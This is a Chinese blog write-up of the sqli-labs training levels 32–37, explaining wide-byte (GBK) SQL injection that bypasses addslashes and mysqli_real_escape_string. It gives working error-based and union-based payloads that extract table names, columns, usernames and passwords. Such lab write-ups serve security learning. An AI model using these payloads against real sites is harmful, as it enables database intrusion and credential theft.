sqli-labs(32-37)宽字节注入

32 宽字节-报错注入

输入?id=2',发现引号被转义了,没有报错

image-20210729153528540

一般情况下,这里是不存在SQL注入的,但有一个特殊情况,就是数据库使用GBK编码,可以用宽字节注入

宽字节注入

概念

在mysql中,用于转义的函数有addslashesmysql_real_escape_stringmysql_escape_string等,还有一种情况是magic_quote_gpc,不过高版本的PHP将去除这个特性,宽字节注入与HTML页面编码是无关的。

  1. 当某字符的大小为一个字节时,称其字符为窄字节.比如 ASCII 编码。

  2. 当某字符的大小为两个字节时,称其字符为宽字节.

  3. 常见的宽字节编码:GB2312,GBK,GB18030,BIG5,Shift_JIS等等

  4. GB2312 不存在宽字节注入,可以收集存在宽字节注入的编码。

  5. UTF-8 编码: 是一种编码的编码方式(多字节编码),它可以使用1~4个字节表示一个符号,根据不同的符号而变化字节长度。

原理

宽字节将两个字符作为汉字,当'前加个%df,被转移后为%df\',由于\编码为%5c,而%df%5c为两个字节代表一个汉字,因此%df%5c成为一个字,'没有被转义成功逃逸

实战

?id=2%df'可以看到一个无法显示的中文字符,虽然显示单引号被转义了,但是它报错了,实际上是成功了

image-20210729155235351

获取数据库名?id=2%df' and updatexml(1,concat(0x7e,database(),0x7e),1)--+

image-20210729155625228

由于单引号被转义,在查询语句中不能用单引号,因此只能采用嵌套查询table_schema='security' 换成table_schema=(select database()来获取表名,

?id=2%df' and updatexml(1,concat(0x7e,(select (group_concat(table_name))from information_schema.tables where table_schema=(select database())),0x7e),1)--+

image-20210729155859933

获取users的字段名

?id=2%df' and updatexml(1,concat(0x7e,(select (group_concat(column_name))from information_schema.columns where table_schema=(select database())and table_name=(select table_name from information_schema.tables where table_schema=(select database()) limit 3,1)),0x7e),1)--+

image-20210729160444719

获取密码

?id=2%df' and updatexml(1,concat(0x7e,(select (password)from security.users limit 7,1 ),0x7e),1)--+

image-20210729160647293

源码分析

关键就是这个函数,它转义单引号,双引号,和任意数量的反斜杠

image-20210729161022558

33 宽字节-报错注入-addslashes()

初次尝试

试了试32关的语句,正常显示,那这一关特别在哪里呢?

?id=2%df' and updatexml(1,concat(0x7e,database(),0x7e),1)--+

image-20210729161510674

区别之处在哪?

?id=2%df' and updatexml(1,concat(0x7e,(select (group_concat(column_name))from information_schema.columns where table_schema=(select database())and table_name=(select table_name from information_schema.tables where table_schema=(select database()) limit 3,1)),0x7e),1)--+

image-20210729161651875

看看源码

区别就在32是自己写的函数,这一题用的自带转义函数addslashes()

image-20210729161848202

addslashes()定义和用法

addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。

预定义字符是:

  • 单引号(')
  • 双引号(")
  • 反斜杠(\)
  • NULL

可以说和32关的功能大差不差,绕过方式也一样

34 宽字节-Union查询-POST-addslashes()

初次尝试

POST抓包修改

image-20210730081226134

被转义了

image-20210730081252994

试试宽字节注入111%df',报错了,看来可行

image-20210730081400595

这次采用Union查询试试

1%df'order by 3#

image-20210730081939819

1%df'order by 2

image-20210730082022872

1%df'union select 1,2#

image-20210730082057641

获取数据库名

image-20210730082152216

获取表名

1%df'union select (select (group_concat(table_name))from information_schema.tables where table_schema=(select database())),2#

image-20210730082446977

获取users字段名

image-20210730082749474

获取用户名和密码

1%df'union select (select group_concat(username) from security.users),(select group_concat(password) from security.users)#

image-20210730083001573

看看源码

image-20210730083313459

用户名和密码转义,数据库设置为GBK,宽字节注入绕过

35 宽字节-数字型-addslashes()

初次尝试

?id=2'直接报错了是怎么回事?先判断注入类型

?id=2 and 1=1

image-20210730084958655

?id=2 and 1=2

image-20210730085010577

由此可以得知为数字型注入

如何判断是字符型注入还是数字型注入

接下来采用报错注入还是Union查询都可以

源码分析

image-20210730085421914

image-20210730093825549

使用转义函数addslashes()进行处理,id为数字型

36 宽字节-mysqli_real_escape_string($con, $string)

源码出问题了,页面不显示结果,这道题没法做了

image-20210730092559183

与上一题源码对比,不同之处在于转义函数换成了mysqli_real_escape_string($con, $string),会被进行转义的字符包括: NUL (ASCII 0)\n\r\'"Control-Z.

PHP: mysqli::real_escape_string - Manual

由于数据库为GBK编码,还是采用宽字节注入

37 宽字节-post-mysqli_real_escape_string($con, $string)

初次尝试

post传参,burpsuite伺候

image-20210730092735890

12'单引号被转义

image-20210730093053557

尝试宽字节注入12%df',报错,单引号字符型1

image-20210730093233269

12%df' order by 3#

image-20210730093340619

12%df' order by 2#字段名为2

image-20210730093355946

接下来就是Union查询或者报错注入,略

源码分析

image-20210730093610215

mysqli_real_escape_string($con, $string)转义特殊字符:单引号

posted @ 2021-07-30 09:42  1ink  阅读(377)  评论(0编辑  收藏  举报